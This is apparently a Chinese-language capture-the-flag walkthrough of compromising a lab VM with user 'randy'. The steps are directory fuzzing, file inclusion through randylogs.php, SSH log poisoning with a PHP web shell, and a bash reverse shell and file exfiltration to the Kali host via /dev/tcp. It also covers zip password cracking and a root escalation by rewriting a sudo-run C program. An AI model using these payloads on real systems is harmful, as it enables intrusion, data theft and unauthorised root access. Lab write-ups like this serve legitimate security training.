先将靶机导入到我们的VMware里面,然后开启NAT模式。
我们使用我们的kali,打开终端输入arp-scan -l查看其他存活的主机,发现192.168.13.143为我们的靶机IP
接下来使用nmap对目标IP进行详细的扫描,nmap -A 192.168.13.143发现开启22端口和80端口
接下来去访问143的80端口,查看源码之后也没有什么发现,就是简单的apache的配置
接下来对目录进行一个扫描爆破,使用dirmap没有扫出目录,我们切换其他的扫描器gobuster,gobuster dir -u http://192.168.13.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
发现了/task目录和/blog-post目录,访问一下http://192.168.13.143/tasks/有一个文件
打开发现是几行字,写着要我们完成任务
# 需要完成的任务
1. 更改身份验证日志的权限
2. 更改端口 22 -> 7672
3. 设置phpMyAdmin
接下来去访问另外一个目录http://192.168.13.143/blog-post/
最后的randy应该是我们的用户名,刚刚开启靶机的时候也是这个名字,源码里面也没有有用的东西,继续二级目录挖掘一下,gobuster dir -u http://192.168.13.143/blog-post/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip
发现还有两个目录分别为/archives和/uploads目录,接下来去访问一下/archives发现有一个php文件randylogs.php
但是访问却是什么都没有显示,可能需要执行什么参数
所以接下来我们使用ffuf去进行一个模糊测试参数,ffuf -c -w /usr/share/wordlists/dirb/big.txt -u 'http://192.168.13.143/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
发现就是file这个参数,查看一下可以执行命令
通过之前的提示我们能知道要我们更改日志权限,尝试包含ssh日志文件/var/log/auth.log
我们通过ssh登录尝试一下看看是否可以更新到日志里面。
可以看到能够有结果记录到日志里面来,然后我们尝试包含一句话木马上去
只需将用户名跟更改为一句话木马即可。
ssh ‘<?php system($_REQUEST['cmd']);?>’@192.168.13.143
看看命令有没有执行成功,192.168.13.143/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=ifconfig
执行成功了,接下来用nc反弹一下shell
echo "bash -i >& /dev/tcp/192.168.13.128/7777 0>&1" | bash
要先将上面这一个反弹代码url编码
echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.13.128%2F7777%200%3E%261%22%20%7C%20bash
成功将shell反弹回来,sudo -l 看看有没有可以执行sudo的文件也没有,隐藏文件有个randylogs.php
接下来进行权限提升,find / -perm -u=s -type f 2>/dev/null,利用find命令查找拥有suid权限的文件也没有什么可以利用的
然后翻文件,在/var目录找到一个user_backup.zip的文件
利用nc将文件传输回来cat user_backup.zip >/dev/tcp/192.168.13.128/2222
这里的IP是输kali的IP
回来之后解压一下zip文件发现需要密码,那就要爆破一下zip的密码了
使用命令fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip
发现密码为!randybaby,然后继续解压user_backup.zip
这里有四个文件,分别为ssh的私钥和公钥,然后是密码和一个c文件,打开密码为:randylovesgoldfish1998
进入/home目录发现只有randy一个用户,那这个密码就是randy用户的了
Ssh登录一下Randy用户
当前目录下拿到第一个flag
接下来要提权拿到第二个flag
利用sudo -l命令查看可调用root权限执行的文件
刚刚我们看见了一个同样名字的c文件,我们去查看一下
#include<unistd.h>
void main()
{ setuid(0); // 设置 userid 为0 即为最高权限(root)
setgid(0); // 设置 groupid 为0 即为最高权限(root)
system("/usr/bin/date"); // 执行命令
system("cat /etc/hosts"); // 执行命令
system("/usr/bin/uname -a"); // 执行命令
}
这本身就是一个执行命令的代码,利用ssh命令上传本地文件
scp -r ./easysysinfo.c randy@192.168.13.143:/home/randy
上传上去了,修改一下代码为
#include "unistd.h"
#include "stdlib.h"
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
利用gcc编译执行一下,成功提权到root用户。
进入root用户拿到最后的flag。
总结:
- ffuf的使用
- Ssh日志包含木马(/var/log/auth.log)
- Nc反弹shell命令(需要url加密)
- Zip加密破解(fcrack)
- Sudo提权